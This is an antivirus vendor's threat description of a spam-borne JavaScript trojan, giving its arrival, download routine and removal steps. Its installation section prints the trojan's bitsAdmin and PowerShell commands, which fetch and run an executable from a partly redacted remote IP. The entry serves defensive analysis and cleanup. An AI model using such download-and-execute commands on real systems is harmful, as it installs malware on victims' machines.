TROJAN.JS.PLOPROLO.THOAOGAI
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
Spammed via email
This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.
However, as of this writing, the said sites are inaccessible.
TECHNICAL DETAILS
8,403 bytes
JS
No
01 Jan 2019
Connects to URLs/IPs, Executes files
Arrival Details
This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.
Installation
This Trojan adds the following processes:
- cmd.exe /c bitsAdmin /transfer getitman /download /priority high http://{BLOCKED}.{BLOCKED}.{BLOCKED}7.48/m/{String}
- cmd.exe /c PowErShEll -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://{BLOCKED}.{BLOCKED}.{BLOCKED}7.48/m/{String}',%User Temp\{Random numbers.exe}');Start-Process '%User Temp\{Random numbers.exe}
Download Routine
This Trojan connects to the following website(s) to download and execute a malicious file:
- http://{BLOCKED}.{BLOCKED}.{BLOCKED}7.48/m/{String}
It saves the files it downloads using the following names:
- %User Temp%\{Random numbers}.exe
(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.)
Other Details
This Trojan does the following:
- Values of String can be:
- tm.exe
- mb.exe
However, as of this writing, the said sites are inaccessible.
SOLUTION
9.850
14.736.04
07 Jan 2019
14.737.00
08 Jan 2019
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Search and delete these files
- %User Temp\{Random numbers}.exe
Step 4
Scan your computer with your Trend Micro product to delete files detected as TROJAN.JS.PLOPROLO.THOAOGAI. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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